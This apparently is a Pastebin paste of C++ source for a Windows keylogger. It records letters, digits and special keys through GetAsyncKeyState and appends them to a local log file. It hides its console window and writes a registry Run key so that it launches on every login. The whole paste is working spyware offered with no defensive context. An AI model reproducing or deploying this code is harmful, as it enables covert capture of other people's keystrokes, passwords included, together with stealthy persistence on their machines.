Advertisement
Guest User

Untitled

a guest
Jan 17th, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. #include "key.h"
  2.  
  3.  
  4.  
  5.  
  6. void turnOn()
  7. {
  8.  
  9. int t;
  10. int temp;
  11.  
  12. while (true)
  13. {
  14.  
  15. for (t = 65; t < 91; t++)
  16. {
  17. temp = GetAsyncKeyState(t);
  18. if (temp == -32767 && !GetAsyncKeyState(VK_SHIFT)) //a-z
  19. {
  20. cout << (char)(t + 32);
  21. saveLoggs(t + 32);
  22. }
  23. if (temp == -32767 && GetAsyncKeyState(VK_SHIFT)) //A-Z
  24. {
  25. cout << (char)t;
  26. saveLoggs(t);
  27. }
  28. }
  29.  
  30.  
  31. for (t = 48; t < 58; t++)
  32. {
  33. temp = GetAsyncKeyState(t);
  34. if (temp == -32767 && !GetAsyncKeyState(VK_SHIFT)) // 0-9
  35. {
  36. cout << (char)t;
  37. saveLoggs(t);
  38. }
  39. }
  40.  
  41. if (GetAsyncKeyState(VK_SPACE) == -32767)
  42. {
  43. cout << " [SPACJA] ";
  44. saveLoggs(32);
  45. }
  46. if (GetAsyncKeyState(VK_BACK) == -32767)
  47. cout << " [BACK] ";
  48. if (GetAsyncKeyState(VK_ESCAPE) == -32767)
  49. cout << " [ESCAPE] ";
  50. if (GetAsyncKeyState(VK_LBUTTON) == -32767)
  51. cout << " [LBUTTON] ";
  52. if (GetAsyncKeyState(VK_RBUTTON) == -32767)
  53. cout << " [RBUTTON] ";
  54. if (GetAsyncKeyState(VK_DELETE) == -32767)
  55. cout << " [DEL] ";
  56. if (GetAsyncKeyState(VK_TAB) == -32767)
  57. cout << " [TAB] ";
  58. if (GetAsyncKeyState(VK_RETURN) == -32767)
  59. cout << " [ENTER] ";
  60. if (GetAsyncKeyState(VK_CAPITAL) == -32767)
  61. cout << " [CAPS LOCK] ";
  62. if (GetAsyncKeyState(VK_SNAPSHOT) == -32767)
  63. cout << " [PRINT SCREEN ] ";
  64. if (GetAsyncKeyState(VK_MENU) == -32767)
  65. cout << " [ALT] ";
  66. if (GetAsyncKeyState(VK_CONTROL) == -32767)
  67. cout << " [CRTL] ";
  68. }
  69. }
  70.  
  71. void saveLoggs(int a)
  72. {
  73. fstream jebac;
  74. jebac.open("ruchac.txt", ios::out | ios::app);
  75. jebac <<char(a);
  76. jebac.close();
  77. }
  78.  
  79. void hiddenConsole()
  80. {
  81. FreeConsole();
  82. }
  83.  
  84.  
  85. void addToAutostart()
  86. {
  87. string komenda = "reg ADD HKCU\\Software\\Microfsoft\Windows\\CurrentVersion\\Run /v KeyloggerTest /t REG_SZ //d C:\\keylogger.exe";
  88. system(komenda.c_str());
  89.  
  90. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement